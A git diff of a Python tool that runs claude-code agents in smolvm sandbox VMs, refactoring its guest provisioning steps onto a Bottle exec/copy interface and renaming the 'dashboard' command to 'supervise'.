@@ -63,25 +53,26 @@ def _provision_cwd_git(plan: SmolmachinesBottlePlan, target: str) -> None:
|
|||||||
return
|
return
|
||||||
guest_workspace_git = f"{workspace.guest_path}/.git"
|
guest_workspace_git = f"{workspace.guest_path}/.git"
|
||||||
host_git = str(workspace.host_path / ".git")
|
host_git = str(workspace.host_path / ".git")
|
||||||
info(f"copying {host_git} -> {target}:{guest_workspace_git}")
|
info(f"copying {host_git} -> {bottle.name}:{guest_workspace_git}")
|
||||||
# mkdir -p the workspace dir so `machine cp` lands the .git
|
# mkdir -p the workspace dir so cp_in lands the .git
|
||||||
# directly there even on first-time bottles.
|
# directly there even on first-time bottles.
|
||||||
_smolvm.machine_exec(target, ["mkdir", "-p", workspace.guest_path])
|
bottle.exec(f"mkdir -p {shlex.quote(workspace.guest_path)}", user="root")
|
||||||
_smolvm.machine_cp(
|
bottle.cp_in(host_git, guest_workspace_git)
|
||||||
host_git, f"{target}:{guest_workspace_git}",
|
# cp_in lands files as root; the agent runs as node so
|
||||||
)
|
|
||||||
# `machine cp` lands files as root; the agent runs as node so
|
|
||||||
# the workspace tree must be chowned over.
|
# the workspace tree must be chowned over.
|
||||||
_smolvm.machine_exec(
|
bottle.exec(
|
||||||
target, ["chown", "-R", workspace.owner, guest_workspace_git],
|
f"chown -R {shlex.quote(workspace.owner)} {shlex.quote(guest_workspace_git)}",
|
||||||
|
user="root",
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def _provision_git_gate_config(plan: SmolmachinesBottlePlan, target: str) -> None:
|
def _provision_git_gate_config(
|
||||||
|
plan: SmolmachinesBottlePlan, bottle: Bottle
|
||||||
|
) -> None:
|
||||||
"""Write ~/.gitconfig in the guest with the git-gate insteadOf
|
"""Write ~/.gitconfig in the guest with the git-gate insteadOf
|
||||||
rules. No-op when the bottle has no `git` entries."""
|
rules. No-op when the bottle has no `git` entries."""
|
||||||
bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
manifest_bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
||||||
if not bottle.git:
|
if not manifest_bottle.git:
|
||||||
return
|
return
|
||||||
|
|
||||||
# `<loopback alias>:<host port>` form: the bundle's git-gate
|
# `<loopback alias>:<host port>` form: the bundle's git-gate
|
||||||
@@ -90,11 +81,11 @@ def _provision_git_gate_config(plan: SmolmachinesBottlePlan, target: str) -> Non
|
|||||||
# TSI, not the docker bridge IP) can dial it. launch.py
|
# TSI, not the docker bridge IP) can dial it. launch.py
|
||||||
# populates `plan.agent_git_gate_host` after bundle bringup.
|
# populates `plan.agent_git_gate_host` after bundle bringup.
|
||||||
content = git_gate_render_gitconfig(
|
content = git_gate_render_gitconfig(
|
||||||
bottle.git, plan.agent_git_gate_host, scheme="http",
|
manifest_bottle.git, plan.agent_git_gate_host, scheme="http",
|
||||||
)
|
)
|
||||||
|
|
||||||
guest_gitconfig = f"{_guest_home()}/.gitconfig"
|
guest_gitconfig = f"{plan.guest_home}/.gitconfig"
|
||||||
# Stage the file under the plan's stage_dir so `machine cp`
|
# Stage the file under the plan's stage_dir so cp_in
|
||||||
# has a stable host path. The plan's stage_dir is cleaned up
|
# has a stable host path. The plan's stage_dir is cleaned up
|
||||||
# by start.py's session-end teardown.
|
# by start.py's session-end teardown.
|
||||||
with tempfile.NamedTemporaryFile(
|
with tempfile.NamedTemporaryFile(
|
||||||
@@ -105,41 +96,38 @@ def _provision_git_gate_config(plan: SmolmachinesBottlePlan, target: str) -> Non
|
|||||||
config_file = Path(f.name)
|
config_file = Path(f.name)
|
||||||
os.chmod(config_file, 0o600)
|
os.chmod(config_file, 0o600)
|
||||||
|
|
||||||
info(f"writing {guest_gitconfig} with {len(bottle.git)} insteadOf rule(s)")
|
info(f"writing {guest_gitconfig} with {len(manifest_bottle.git)} insteadOf rule(s)")
|
||||||
_smolvm.machine_cp(str(config_file), f"{target}:{guest_gitconfig}")
|
bottle.cp_in(str(config_file), guest_gitconfig)
|
||||||
_smolvm.machine_exec(target, ["chown", "node:node", guest_gitconfig])
|
bottle.exec(
|
||||||
_smolvm.machine_exec(target, ["chmod", "644", guest_gitconfig])
|
f"chown node:node {shlex.quote(guest_gitconfig)} && "
|
||||||
|
f"chmod 644 {shlex.quote(guest_gitconfig)}",
|
||||||
|
user="root",
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def _provision_git_user(
|
def _provision_git_user(
|
||||||
plan: SmolmachinesBottlePlan, target: str,
|
plan: SmolmachinesBottlePlan, bottle: Bottle,
|
||||||
) -> None:
|
) -> None:
|
||||||
"""Apply `git config --global user.{name,email}` inside the
|
"""Apply `git config --global user.{name,email}` inside the
|
||||||
guest as the node user so --global lands in the same
|
guest as the node user so --global lands in the same
|
||||||
`/home/node/.gitconfig` that `_provision_git_gate_config`
|
`/home/node/.gitconfig` that `_provision_git_gate_config`
|
||||||
writes to. No-op when the bottle didn't declare `git.user`.
|
writes to. No-op when the bottle didn't declare `git.user`.
|
||||||
|
|
||||||
Runs via `runuser -u node --`; HOME is forced via smolvm's
|
SmolmachinesBottle.exec(user="node") automatically sets
|
||||||
`-e` flag because runuser (without -l) inherits root's
|
HOME=/home/node so --global writes to /home/node/.gitconfig."""
|
||||||
HOME=/root, which would put --global in the wrong file."""
|
manifest_bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
||||||
bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
gu = manifest_bottle.git_user
|
||||||
gu = bottle.git_user
|
|
||||||
if gu.is_empty():
|
if gu.is_empty():
|
||||||
return
|
return
|
||||||
env = {"HOME": _guest_home(), "USER": "node"}
|
|
||||||
if gu.name:
|
if gu.name:
|
||||||
info(f"git config --global user.name = {gu.name!r}")
|
info(f"git config --global user.name = {gu.name!r}")
|
||||||
_smolvm.machine_exec(
|
bottle.exec(
|
||||||
target,
|
f"git config --global user.name {shlex.quote(gu.name)}",
|
||||||
["runuser", "-u", "node", "--",
|
user="node",
|
||||||
"git", "config", "--global", "user.name", gu.name],
|
|
||||||
env=env,
|
|
||||||
)
|
)
|
||||||
if gu.email:
|
if gu.email:
|
||||||
info(f"git config --global user.email = {gu.email!r}")
|
info(f"git config --global user.email = {gu.email!r}")
|
||||||
_smolvm.machine_exec(
|
bottle.exec(
|
||||||
target,
|
f"git config --global user.email {shlex.quote(gu.email)}",
|
||||||
["runuser", "-u", "node", "--",
|
user="node",
|
||||||
"git", "config", "--global", "user.email", gu.email],
|
|
||||||
env=env,
|
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -1,42 +0,0 @@
|
|||||||
"""Copy the agent prompt into a running smolmachines bottle.
|
|
||||||
|
|
||||||
The prompt file is always copied (so the in-guest path always
|
|
||||||
exists) but `--append-system-prompt-file` only fires when the
|
|
||||||
agent actually has a prompt — the return value signals which
|
|
||||||
case, mirroring the docker backend's contract.
|
|
||||||
|
|
||||||
`smolvm machine cp` lands files as root inside the VM; the claude
|
|
||||||
process runs as `node`, so we chown + chmod the prompt after the
|
|
||||||
copy. Same flow as the docker backend's provision_prompt."""
|
|
||||||
|
|
||||||
from __future__ import annotations
|
|
||||||
|
|
||||||
import os
|
|
||||||
|
|
||||||
from .. import smolvm as _smolvm
|
|
||||||
from ..bottle_plan import SmolmachinesBottlePlan
|
|
||||||
|
|
||||||
|
|
||||||
# `node` is the agent user from the repo Dockerfile.
|
|
||||||
# BOT_BOTTLE_GUEST_HOME mirrors the docker backend's
|
|
||||||
# BOT_BOTTLE_CONTAINER_HOME knob.
|
|
||||||
_DEFAULT_GUEST_HOME = "/home/node"
|
|
||||||
|
|
||||||
|
|
||||||
def provision_prompt(plan: SmolmachinesBottlePlan, target: str) -> str | None:
|
|
||||||
"""Copy the prompt file into the running smolvm guest, fix
|
|
||||||
ownership/mode. Returns the in-guest path if the agent has a
|
|
||||||
non-empty prompt (drives --append-system-prompt-file), else
|
|
||||||
None. The file is copied either way so the path always
|
|
||||||
exists — mirrors the docker backend's behavior."""
|
|
||||||
guest_home = os.environ.get("BOT_BOTTLE_GUEST_HOME", _DEFAULT_GUEST_HOME)
|
|
||||||
in_guest_prompt_path = f"{guest_home}/.bot-bottle-prompt.txt"
|
|
||||||
|
|
||||||
_smolvm.machine_cp(str(plan.prompt_file), f"{target}:{in_guest_prompt_path}")
|
|
||||||
# machine cp lands as root, source's 0o600 mode is preserved —
|
|
||||||
# node can't read its own prompt without these two.
|
|
||||||
_smolvm.machine_exec(target, ["chown", "node:node", in_guest_prompt_path])
|
|
||||||
_smolvm.machine_exec(target, ["chmod", "600", in_guest_prompt_path])
|
|
||||||
|
|
||||||
agent = plan.spec.manifest.agents[plan.spec.agent_name]
|
|
||||||
return in_guest_prompt_path if agent.prompt else None
|
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
"""Provision non-secret provider auth markers into a smolmachines bottle."""
|
|
||||||
|
|
||||||
from __future__ import annotations
|
|
||||||
|
|
||||||
from ....log import die
|
|
||||||
from .. import smolvm as _smolvm
|
|
||||||
from ..bottle_plan import SmolmachinesBottlePlan
|
|
||||||
|
|
||||||
|
|
||||||
def provision_provider_auth(plan: SmolmachinesBottlePlan, target: str) -> None:
|
|
||||||
"""Apply provider-owned guest setup through smolvm primitives."""
|
|
||||||
provision = plan.agent_provision
|
|
||||||
for d in provision.dirs:
|
|
||||||
_exec(target, ["mkdir", "-p", d.guest_path], f"could not create {d.guest_path}")
|
|
||||||
_exec(target, ["chown", d.owner, d.guest_path], f"could not chown {d.guest_path}")
|
|
||||||
_exec(target, ["chmod", d.mode, d.guest_path], f"could not chmod {d.guest_path}")
|
|
||||||
for command in provision.pre_copy:
|
|
||||||
_exec(target, list(command.argv), command.error)
|
|
||||||
for f in provision.files:
|
|
||||||
_smolvm.machine_cp(str(f.host_path), f"{target}:{f.guest_path}")
|
|
||||||
_exec(target, ["chown", f.owner, f.guest_path], f"could not chown {f.guest_path}")
|
|
||||||
_exec(target, ["chmod", f.mode, f.guest_path], f"could not chmod {f.guest_path}")
|
|
||||||
for command in provision.verify:
|
|
||||||
_exec(target, list(command.argv), command.error)
|
|
||||||
|
|
||||||
|
|
||||||
def _exec(target: str, argv: list[str], error: str) -> None:
|
|
||||||
result = _smolvm.machine_exec(target, argv)
|
|
||||||
if result.returncode != 0:
|
|
||||||
detail = (result.stderr or result.stdout).strip()
|
|
||||||
if detail:
|
|
||||||
detail = f": {detail}"
|
|
||||||
die(f"agent provider provisioning: {error}{detail}")
|
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
"""Copy host-side skill directories into a running smolmachines
|
|
||||||
bottle.
|
|
||||||
|
|
||||||
Skills are validated on the host before launch by
|
|
||||||
`BottleBackend._validate_skills`; this module assumes that
|
|
||||||
validation has already run. A skill that disappears between
|
|
||||||
validation and copy still dies loudly rather than silently
|
|
||||||
producing a partial guest."""
|
|
||||||
|
|
||||||
from __future__ import annotations
|
|
||||||
|
|
||||||
import os
|
|
||||||
|
|
||||||
from ....log import die, info
|
|
||||||
from ...util import host_skill_dir
|
|
||||||
from .. import smolvm as _smolvm
|
|
||||||
from ..bottle_plan import SmolmachinesBottlePlan
|
|
||||||
|
|
||||||
|
|
||||||
# In-guest path mirrors the docker backend's claude-skills
|
|
||||||
# convention (~/.claude/skills/<name>/) under the node user's
|
|
||||||
# home — same path as the real bot-bottle image's
|
|
||||||
# /home/node/.claude/skills (pre-created in the Dockerfile).
|
|
||||||
_DEFAULT_SKILLS_DIR = "/home/node/.claude/skills"
|
|
||||||
|
|
||||||
|
|
||||||
def provision_skills(plan: SmolmachinesBottlePlan, target: str) -> None:
|
|
||||||
"""Copy each of the agent's named skills from the host's
|
|
||||||
~/.claude/skills/<name>/ into the guest's equivalent path.
|
|
||||||
For each skill: `mkdir -p` the destination, `smolvm machine cp`
|
|
||||||
the host source dir over, then chown the result to node:node so
|
|
||||||
the agent can read it. No-op when the agent has no skills.
|
|
||||||
|
|
||||||
smolvm machine cp on a directory copies recursively (same
|
|
||||||
semantics as `cp -r`); unlike docker cp's trailing-slash
|
|
||||||
convention, smolvm doesn't need the `/.` suffix dance.
|
|
||||||
|
|
||||||
machine cp lands files as root inside the VM, so we chown each
|
|
||||||
skill tree over to node:node after the copy — same pattern as
|
|
||||||
the docker backend's provision_prompt."""
|
|
||||||
agent = plan.spec.manifest.agents[plan.spec.agent_name]
|
|
||||||
if not agent.skills:
|
|
||||||
return
|
|
||||||
|
|
||||||
skills_dir = os.environ.get(
|
|
||||||
"BOT_BOTTLE_GUEST_SKILLS_DIR", _DEFAULT_SKILLS_DIR,
|
|
||||||
)
|
|
||||||
|
|
||||||
_smolvm.machine_exec(target, ["mkdir", "-p", skills_dir])
|
|
||||||
|
|
||||||
for name in agent.skills:
|
|
||||||
src = host_skill_dir(name)
|
|
||||||
if not os.path.isdir(src):
|
|
||||||
die(
|
|
||||||
f"skill {name!r} disappeared from host between "
|
|
||||||
f"validation and copy at {src}."
|
|
||||||
)
|
|
||||||
dst = f"{skills_dir}/{name}"
|
|
||||||
info(f"copying skill {name} into {target}:{dst}")
|
|
||||||
# Wipe any prior copy so re-runs don't accumulate.
|
|
||||||
_smolvm.machine_exec(target, ["rm", "-rf", dst])
|
|
||||||
_smolvm.machine_cp(src, f"{target}:{dst}")
|
|
||||||
_smolvm.machine_exec(target, ["chown", "-R", "node:node", dst])
|
|
||||||
@@ -1,67 +0,0 @@
|
|||||||
"""Supervise sidecar provisioning inside a running smolmachines
|
|
||||||
bottle (PRD 0023 chunk 4d; PRD 0013 supervise plane).
|
|
||||||
|
|
||||||
Registers the per-bottle supervise sidecar as an HTTP MCP server
|
|
||||||
in the agent's claude-code config so the agent discovers the
|
|
||||||
stuck-recovery MCP tools (pipelock-block, capability-block) at
|
|
||||||
startup.
|
|
||||||
|
|
||||||
Mirrors `backend.docker.provision.supervise` — same `claude mcp
|
|
||||||
add` call, just dispatched via `smolvm machine exec` instead of
|
|
||||||
`docker exec`, and against `<bundle_ip>:<port>` instead of the
|
|
||||||
short `supervise` alias (no DNS in the TSI-allowlisted guest)."""
|
|
||||||
|
|
||||||
from __future__ import annotations
|
|
||||||
|
|
||||||
from ....log import info, warn
|
|
||||||
from .. import smolvm as _smolvm
|
|
||||||
from ..bottle_plan import SmolmachinesBottlePlan
|
|
||||||
|
|
||||||
|
|
||||||
_SUPERVISE_MCP_NAME = "supervise"
|
|
||||||
|
|
||||||
|
|
||||||
def provision_supervise(plan: SmolmachinesBottlePlan, target: str) -> None:
|
|
||||||
"""Run `claude mcp add` inside the guest to register the
|
|
||||||
supervise sidecar in claude-code's user config. No-op when
|
|
||||||
bottle.supervise is False.
|
|
||||||
|
|
||||||
The URL is the agent-side endpoint launch.py populated after
|
|
||||||
bundle bringup — `http://127.0.0.1:<host port>/` rather than
|
|
||||||
the bundle's docker bridge IP, because that bridge isn't
|
|
||||||
reachable from the smolvm guest on macOS.
|
|
||||||
|
|
||||||
Failure is logged but not fatal: the bottle still works (you
|
|
||||||
just can't call supervise tools from the agent until the entry
|
|
||||||
is added manually). The operator sees the warning at launch."""
|
|
||||||
if plan.supervise_plan is None:
|
|
||||||
return
|
|
||||||
url = plan.agent_supervise_url
|
|
||||||
info(f"registering supervise MCP server in agent claude config → {url}")
|
|
||||||
# `claude mcp add --scope user` writes to ~/.claude.json. The
|
|
||||||
# agent is the `node` user; smolvm machine_exec runs as root
|
|
||||||
# by default, so we have to switch user explicitly and set
|
|
||||||
# HOME so the config lands in /home/node/.claude.json (where
|
|
||||||
# the agent's claude actually reads it from).
|
|
||||||
r = _smolvm.machine_exec(
|
|
||||||
target,
|
|
||||||
[
|
|
||||||
"runuser", "-u", "node", "--",
|
|
||||||
"env", "HOME=/home/node",
|
|
||||||
"claude", "mcp", "add",
|
|
||||||
"--scope", "user",
|
|
||||||
"--transport", "http",
|
|
||||||
_SUPERVISE_MCP_NAME,
|
|
||||||
url,
|
|
||||||
],
|
|
||||||
)
|
|
||||||
if r.returncode != 0:
|
|
||||||
warn(
|
|
||||||
f"`claude mcp add supervise` failed (exit {r.returncode}): "
|
|
||||||
f"{(r.stderr or r.stdout or '').strip()}. Inside the bottle, "
|
|
||||||
f"register manually with: "
|
|
||||||
f"claude mcp add --scope user --transport http supervise {url}"
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
__all__ = ["provision_supervise"]
|
|
||||||
@@ -5,11 +5,11 @@ from __future__ import annotations
|
|||||||
import shlex
|
import shlex
|
||||||
|
|
||||||
from ....log import info
|
from ....log import info
|
||||||
from .. import smolvm as _smolvm
|
from ... import Bottle
|
||||||
from ..bottle_plan import SmolmachinesBottlePlan
|
from ..bottle_plan import SmolmachinesBottlePlan
|
||||||
|
|
||||||
|
|
||||||
def provision_workspace(plan: SmolmachinesBottlePlan, target: str) -> None:
|
def provision_workspace(plan: SmolmachinesBottlePlan, bottle: Bottle) -> None:
|
||||||
"""Copy host cwd contents to the planned guest workspace."""
|
"""Copy host cwd contents to the planned guest workspace."""
|
||||||
workspace = plan.workspace_plan
|
workspace = plan.workspace_plan
|
||||||
if not (workspace.enabled and workspace.copy_contents):
|
if not (workspace.enabled and workspace.copy_contents):
|
||||||
@@ -20,17 +20,13 @@ def provision_workspace(plan: SmolmachinesBottlePlan, target: str) -> None:
|
|||||||
guest_parent_q = shlex.quote(guest_parent)
|
guest_parent_q = shlex.quote(guest_parent)
|
||||||
owner_q = shlex.quote(workspace.owner)
|
owner_q = shlex.quote(workspace.owner)
|
||||||
mode_q = shlex.quote(workspace.mode)
|
mode_q = shlex.quote(workspace.mode)
|
||||||
info(f"copying {workspace.host_path} -> {target}:{workspace.guest_path}")
|
info(f"copying {workspace.host_path} -> {bottle.name}:{workspace.guest_path}")
|
||||||
_smolvm.machine_exec(
|
bottle.exec(
|
||||||
target,
|
f"rm -rf {guest_path_q} && mkdir -p {guest_parent_q}",
|
||||||
["sh", "-c", f"rm -rf {guest_path_q} && mkdir -p {guest_parent_q}"],
|
user="root",
|
||||||
)
|
)
|
||||||
_smolvm.machine_cp(str(workspace.host_path), f"{target}:{workspace.guest_path}")
|
bottle.cp_in(str(workspace.host_path), workspace.guest_path)
|
||||||
_smolvm.machine_exec(
|
bottle.exec(
|
||||||
target,
|
f"chown -R {owner_q} {guest_path_q} && chmod {mode_q} {guest_path_q}",
|
||||||
[
|
user="root",
|
||||||
"sh", "-c",
|
|
||||||
f"chown -R {owner_q} {guest_path_q} && "
|
|
||||||
f"chmod {mode_q} {guest_path_q}",
|
|
||||||
],
|
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -42,6 +42,7 @@ import subprocess
|
|||||||
import sys
|
import sys
|
||||||
import termios
|
import termios
|
||||||
import threading
|
import threading
|
||||||
|
from types import FrameType
|
||||||
|
|
||||||
|
|
||||||
# How long to wait after the main exec starts before pushing the
|
# How long to wait after the main exec starts before pushing the
|
||||||
@@ -123,13 +124,13 @@ def main(argv: list[str]) -> int:
|
|||||||
machine = argv[0]
|
machine = argv[0]
|
||||||
inner = argv[2:]
|
inner = argv[2:]
|
||||||
|
|
||||||
def sync(*_args) -> None:
|
def sync(_signum: int | None = None, _frame: FrameType | None = None) -> None:
|
||||||
size = _read_winsize()
|
size = _read_winsize()
|
||||||
if size is None:
|
if size is None:
|
||||||
return
|
return
|
||||||
_push_size(machine, *size)
|
_push_size(machine, *size)
|
||||||
|
|
||||||
signal.signal(signal.SIGWINCH, sync)
|
signal.signal(signal.SIGWINCH, sync) # type: ignore[arg-type]
|
||||||
|
|
||||||
proc = subprocess.Popen(inner)
|
proc = subprocess.Popen(inner)
|
||||||
# Initial sync is deferred — see _STARTUP_SYNC_DELAY_SEC.
|
# Initial sync is deferred — see _STARTUP_SYNC_DELAY_SEC.
|
||||||
|
|||||||
@@ -223,7 +223,6 @@ def bundle_host_port(
|
|||||||
f"no port mapping on {host_ip} for {container} "
|
f"no port mapping on {host_ip} for {container} "
|
||||||
f"{container_port}/tcp; got: {(result.stdout or '').strip()!r}"
|
f"{container_port}/tcp; got: {(result.stdout or '').strip()!r}"
|
||||||
)
|
)
|
||||||
return -1 # unreachable; die() never returns
|
|
||||||
|
|
||||||
|
|
||||||
def stop_bundle(slug: str) -> None:
|
def stop_bundle(slug: str) -> None:
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ class SmolvmError(RuntimeError):
|
|||||||
pack failed, etc.). Carries the captured stderr for the
|
pack failed, etc.). Carries the captured stderr for the
|
||||||
operator-facing log line."""
|
operator-facing log line."""
|
||||||
|
|
||||||
def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess):
|
def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess[str]):
|
||||||
self.argv = list(argv)
|
self.argv = list(argv)
|
||||||
self.returncode = result.returncode
|
self.returncode = result.returncode
|
||||||
self.stdout = result.stdout
|
self.stdout = result.stdout
|
||||||
@@ -65,7 +65,7 @@ class SmolvmError(RuntimeError):
|
|||||||
|
|
||||||
|
|
||||||
def _smolvm(*args: str, env: Mapping[str, str] | None = None,
|
def _smolvm(*args: str, env: Mapping[str, str] | None = None,
|
||||||
check: bool = True) -> subprocess.CompletedProcess:
|
check: bool = True) -> subprocess.CompletedProcess[str]:
|
||||||
"""One subprocess call into the smolvm CLI. `check=True`
|
"""One subprocess call into the smolvm CLI. `check=True`
|
||||||
raises SmolvmError on non-zero; `check=False` returns the
|
raises SmolvmError on non-zero; `check=False` returns the
|
||||||
CompletedProcess for the caller to inspect."""
|
CompletedProcess for the caller to inspect."""
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
"""Main CLI dispatcher.
|
"""Main CLI dispatcher.
|
||||||
|
|
||||||
Commands: cleanup, dashboard, edit, info, init, list, resume, start
|
Commands: cleanup, edit, info, init, list, resume, start, supervise
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
@@ -12,24 +12,24 @@ from ..manifest import ManifestError
|
|||||||
from ._common import PROG
|
from ._common import PROG
|
||||||
from . import list as _list_mod
|
from . import list as _list_mod
|
||||||
from .cleanup import cmd_cleanup
|
from .cleanup import cmd_cleanup
|
||||||
from .dashboard import cmd_dashboard
|
|
||||||
from .edit import cmd_edit
|
from .edit import cmd_edit
|
||||||
from .info import cmd_info
|
from .info import cmd_info
|
||||||
from .init import cmd_init
|
from .init import cmd_init
|
||||||
from .resume import cmd_resume
|
from .resume import cmd_resume
|
||||||
from .start import cmd_start
|
from .start import cmd_start
|
||||||
|
from .supervise import cmd_supervise
|
||||||
|
|
||||||
cmd_list = _list_mod.cmd_list
|
cmd_list = _list_mod.cmd_list
|
||||||
|
|
||||||
COMMANDS = {
|
COMMANDS = {
|
||||||
"cleanup": cmd_cleanup,
|
"cleanup": cmd_cleanup,
|
||||||
"dashboard": cmd_dashboard,
|
|
||||||
"edit": cmd_edit,
|
"edit": cmd_edit,
|
||||||
"info": cmd_info,
|
"info": cmd_info,
|
||||||
"init": cmd_init,
|
"init": cmd_init,
|
||||||
"list": cmd_list,
|
"list": cmd_list,
|
||||||
"resume": cmd_resume,
|
"resume": cmd_resume,
|
||||||
"start": cmd_start,
|
"start": cmd_start,
|
||||||
|
"supervise": cmd_supervise,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -37,13 +37,22 @@ def usage() -> None:
|
|||||||
sys.stderr.write(f"usage: {PROG} <command> [args...]\n\n")
|
sys.stderr.write(f"usage: {PROG} <command> [args...]\n\n")
|
||||||
sys.stderr.write("Commands:\n")
|
sys.stderr.write("Commands:\n")
|
||||||
sys.stderr.write(" cleanup stop and remove all active bot-bottle containers\n")
|
sys.stderr.write(" cleanup stop and remove all active bot-bottle containers\n")
|
||||||
sys.stderr.write(" dashboard view + approve/modify/reject pending supervise proposals (PRD 0013)\n")
|
|
||||||
sys.stderr.write(" edit open an agent in vim for editing\n")
|
sys.stderr.write(" edit open an agent in vim for editing\n")
|
||||||
sys.stderr.write(" info print env, skills, and prompt details for a named agent\n")
|
sys.stderr.write(" info print env, skills, and prompt details for a named agent\n")
|
||||||
sys.stderr.write(" init interactively create a new agent and add it to bot-bottle.json\n")
|
sys.stderr.write(" init interactively create a new agent and add it to bot-bottle.json\n")
|
||||||
sys.stderr.write(" list list available agents or active containers\n")
|
sys.stderr.write(" list list available agents or active containers\n")
|
||||||
sys.stderr.write(" resume re-launch a bottle by its identity (continues state from PRD 0016)\n")
|
sys.stderr.write(
|
||||||
sys.stderr.write(" start boot a container for a named agent and attach an interactive session\n\n")
|
" resume re-launch a bottle by its identity "
|
||||||
|
"(continues state from PRD 0016)\n"
|
||||||
|
)
|
||||||
|
sys.stderr.write(
|
||||||
|
" start boot a container for a named agent and "
|
||||||
|
"attach an interactive session\n"
|
||||||
|
)
|
||||||
|
sys.stderr.write(
|
||||||
|
" supervise view + approve/modify/reject pending supervise "
|
||||||
|
"proposals (PRD 0013)\n\n"
|
||||||
|
)
|
||||||
sys.stderr.write(f"Run '{PROG} <command> --help' for command-specific usage.\n")
|
sys.stderr.write(f"Run '{PROG} <command> --help' for command-specific usage.\n")
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ REPO_DIR = str(Path(__file__).resolve().parent.parent.parent)
|
|||||||
def read_tty_line() -> str:
|
def read_tty_line() -> str:
|
||||||
"""Mirror `IFS= read -r REPLY </dev/tty`. Falls back to stdin."""
|
"""Mirror `IFS= read -r REPLY </dev/tty`. Falls back to stdin."""
|
||||||
try:
|
try:
|
||||||
with open("/dev/tty", "r") as tty:
|
with open("/dev/tty", "r", encoding="utf-8") as tty:
|
||||||
return tty.readline().rstrip("\n")
|
return tty.readline().rstrip("\n")
|
||||||
except OSError:
|
except OSError:
|
||||||
return sys.stdin.readline().rstrip("\n")
|
return sys.stdin.readline().rstrip("\n")
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
+18
-5
@@ -51,7 +51,8 @@ def cmd_init(argv: list[str]) -> int:
|
|||||||
die(f"{target_file} exists but is not valid JSON; fix or remove it first")
|
die(f"{target_file} exists but is not valid JSON; fix or remove it first")
|
||||||
if agent_name in (existing.get("agents") or {}):
|
if agent_name in (existing.get("agents") or {}):
|
||||||
sys.stderr.write(
|
sys.stderr.write(
|
||||||
f'bot-bottle: agent "{agent_name}" already exists in {target_file}. Overwrite? [y/N] '
|
f'bot-bottle: agent "{agent_name}" already exists in '
|
||||||
|
f'{target_file}. Overwrite? [y/N] '
|
||||||
)
|
)
|
||||||
sys.stderr.flush()
|
sys.stderr.flush()
|
||||||
ow = read_tty_line()
|
ow = read_tty_line()
|
||||||
@@ -71,7 +72,10 @@ def cmd_init(argv: list[str]) -> int:
|
|||||||
|
|
||||||
# Prompt
|
# Prompt
|
||||||
print(file=sys.stderr)
|
print(file=sys.stderr)
|
||||||
info("System prompt — enter text, then a lone '.' on its own line to finish (just '.' to leave empty):")
|
info(
|
||||||
|
"System prompt — enter text, then a lone '.' on its own line to "
|
||||||
|
"finish (just '.' to leave empty):"
|
||||||
|
)
|
||||||
prompt_lines: list[str] = []
|
prompt_lines: list[str] = []
|
||||||
while True:
|
while True:
|
||||||
line = read_tty_line()
|
line = read_tty_line()
|
||||||
@@ -99,7 +103,10 @@ def cmd_init(argv: list[str]) -> int:
|
|||||||
|
|
||||||
if bottle_name in (existing.get("bottles") or {}):
|
if bottle_name in (existing.get("bottles") or {}):
|
||||||
bottle_exists_already = True
|
bottle_exists_already = True
|
||||||
info(f"Bottle '{bottle_name}' already exists in {target_file}; agent will reference it.")
|
info(
|
||||||
|
f"Bottle '{bottle_name}' already exists in {target_file}; "
|
||||||
|
f"agent will reference it."
|
||||||
|
)
|
||||||
else:
|
else:
|
||||||
info(f"Creating new bottle '{bottle_name}'.")
|
info(f"Creating new bottle '{bottle_name}'.")
|
||||||
bottle_env = _prompt_for_env_vars()
|
bottle_env = _prompt_for_env_vars()
|
||||||
@@ -131,8 +138,14 @@ def cmd_init(argv: list[str]) -> int:
|
|||||||
|
|
||||||
def _prompt_for_env_vars() -> dict[str, str]:
|
def _prompt_for_env_vars() -> dict[str, str]:
|
||||||
print(file=sys.stderr)
|
print(file=sys.stderr)
|
||||||
info("Env vars — enter each var name then its mode. Press Enter with no name to finish.")
|
info(
|
||||||
info(" Modes: secret (prompt at runtime) | interpolated (read from host env) | literal (hardcoded value)")
|
"Env vars — enter each var name then its mode. Press Enter with "
|
||||||
|
"no name to finish."
|
||||||
|
)
|
||||||
|
info(
|
||||||
|
" Modes: secret (prompt at runtime) | interpolated (read from "
|
||||||
|
"host env) | literal (hardcoded value)"
|
||||||
|
)
|
||||||
out: dict[str, str] = {}
|
out: dict[str, str] = {}
|
||||||
while True:
|
while True:
|
||||||
print(file=sys.stderr)
|
print(file=sys.stderr)
|
||||||
|
|||||||
+39
-28
@@ -2,10 +2,8 @@
|
|||||||
interactive claude-code session. The container is torn down when the
|
interactive claude-code session. The container is torn down when the
|
||||||
session ends.
|
session ends.
|
||||||
|
|
||||||
The launch core is shared with `cli.py resume <identity>` and (PRD
|
The launch core is shared with `cli.py resume <identity>` through
|
||||||
0020 chunk 1+) the dashboard's in-process start flow: see the
|
the private orchestrator `_launch_bottle`.
|
||||||
public helpers `prepare_with_preflight`, `attach_agent`, and the
|
|
||||||
private orchestrator `_launch_bottle`.
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
@@ -35,6 +33,7 @@ from ..backend.docker.capability_apply import snapshot_transcript
|
|||||||
from ..log import info
|
from ..log import info
|
||||||
from ..manifest import Manifest
|
from ..manifest import Manifest
|
||||||
from ._common import PROG, USER_CWD, read_tty_line
|
from ._common import PROG, USER_CWD, read_tty_line
|
||||||
|
